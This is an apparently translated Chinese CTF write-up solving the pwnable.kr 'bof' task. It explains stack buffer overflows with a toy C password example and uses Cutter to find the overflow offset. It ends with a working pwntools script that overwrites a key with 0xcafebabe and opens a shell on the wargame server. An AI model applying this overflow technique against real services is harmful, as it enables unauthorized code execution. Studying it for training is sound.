在本文中,我们将分析一种漏洞,例如堆栈上的缓冲区溢出,并从站点
pwnable.kr解决第三个任务。
组织信息特别是对于那些想要学习新知识并在信息和计算机安全性的任何领域中发展的人们,我将撰写和讨论以下类别:
- PWN;
- 密码学(加密);
- 网络技术(网络);
- 反向(反向工程);
- 隐写术(Stegano);
- 搜索和利用Web漏洞。
除此之外,我将分享我在计算机取证,恶意软件和固件分析,对无线网络和局域网的攻击,进行笔测试和编写漏洞利用程序方面的经验。
为了使您可以查找有关新文章,软件和其他信息的信息,我
在Telegram中创建了一个
频道,并创建了一个
小组来讨论 ICD领域中的
所有问题 。 另外,我会亲自考虑您的个人要求,问题,建议和建议,
并会回答所有人 。
提供所有信息仅出于教育目的。 对于由于使用本文档而获得的知识和方法对某人造成的任何损害,本文档的作者不承担任何责任。
缓冲区溢出
缓冲区溢出是计算机程序中的一个漏洞,该漏洞基于将数据写入分配到内存中的缓冲区之外的能力,这通常是由于不受控制地从外部接收和处理数据而引起的。 语言对高级堆栈框架技术的使用导致控制数据和程序数据的混合。
在本文中,我们仅分析堆栈上的缓冲区溢出。 这种类型的缓冲区溢出称为堆栈粉碎,可以通过以下方式加以利用:
- 覆盖位于缓冲区附近的内存中的局部变量;
- 将返回地址重写到堆栈帧中;
- 重写函数指针或异常处理程序;
- 覆盖另一个堆栈框架中的参数。
此任务使用重写局部变量的方法。 在以下示例中考虑其本质:
#include <stdio.h> #include <string.h> int main(){ char pass[9] = "p@ssw0rd\x00"; char buf[9]; printf("Input password: "); scanf("%s", buf); if(!strcmp(pass, buf)) printf("Login ok!!!\n"); else printf("FAIL...\n"); return 0; }
由于
pass变量较早定义为
buf变量,因此有可能使它溢出。 如果在
buf中输入的字节数超过9个,则它们将覆盖
pass变量中的数据。 因此,可以通过传递程序将密码“更改”为您自己的密码,例如,这样的行
11111111 \ x0011111111 \ x00 。


解决方案
我们单击带有签名bof的图标,并获得源代码,程序本身以及TCP连接的地址和端口。

让我们看一下源代码。

从代码可以看出,程序接受字符串,但是将已连接的键与控制值进行比较。 但是由于输入不受控制,并且密钥在缓冲区之前定义,所以我们可以使缓冲区溢出并覆盖密钥。 为此,有必要确定变量在内存中的相对位置。
我将使用
Cutter分析程序。 打开Cutter,指定可执行文件的路径。



刀具将我们立即送到入口点。 在功能列表中,选择main。

在main中,我们看到一个对我们函数的调用,双击函数名称将其打开。

函数代码前有一个注释,该注释反映了函数中使用的变量及其相对于当前堆栈帧(ebp)底的地址。 如您所确定,我们的缓冲区是
var_2ch变量,键是
arg_8h 。


我们计算需要覆盖多少字节。 为此,只需找到地址之间的差异即可。

因此,我们需要向程序发送0x34任何字节,然后添加参考值作为示例。 为了方便起见,我使用
pwntools库。
from pwn import * conn = remote('pwnable.kr', 9000) payload = 'A' * 0x34 payload += '\xbe\xba\xfe\xca' conn.send(payload) conn.interactive()
我们得到外壳并查看标志。

结果,我们得到了自己的观点。

在本文中,我们看了一个利用堆栈上的缓冲区溢出,了解Cutter工具和pwntools库的示例。 在下一篇文章中,我们将讨论打包可执行文件并解决第四个任务。 在以下文章中见。
我们在电报频道中:
Telegram中的
频道 。